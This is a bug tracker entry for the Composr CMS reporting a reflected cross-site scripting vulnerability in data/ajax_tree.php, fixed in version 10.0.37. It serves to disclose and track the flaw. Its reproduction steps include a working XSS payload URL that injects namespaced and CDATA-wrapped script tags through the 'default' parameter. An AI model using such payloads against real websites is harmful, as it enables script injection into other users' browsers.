| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 4633 | Composr | core | private | 2021-03-31 08:04 | 2021-04-02 17:32 |
| Reporter | Guest | Assigned To | Chris Graham | ||
| Priority | normal | Severity | Security-hole | ||
| Status | resolved | Resolution | fixed | ||
| Product Version | 10.0.36 | ||||
| Fixed in Version | 10.0.37 | ||||
| Summary | 4633: Reflected Cross Site Scripting (XSS) | ||||
| Description | Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim's browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. | ||||
| Steps To Reproduce | For the exploit gets done, you have to follow below steps. 1. Visit your web URL for the testing our lab is https://cve.iqsademo.com/composr/ 2. On the file https://cve.iqsademo.com/composr/data/ajax_tree.php there have a parameter called default which is vulnerable 3. Execute the following payload https://cve.iqsademo.com/composr/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("Hello")</something:script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert("XSS")</a:script><info><name><value><![CDATA[<script>confirm(document.domain)</script>]]></value></name><description><value>Hello</value></description><url><value>http://google.com</value></url></info></body></html> 4. It will give you two pop up with the message "Hello" & "XSS" | ||||
| Tags | Type: Security | ||||
| Time estimation (hours) | |||||
| Sponsorship open | |||||
- Anonymous
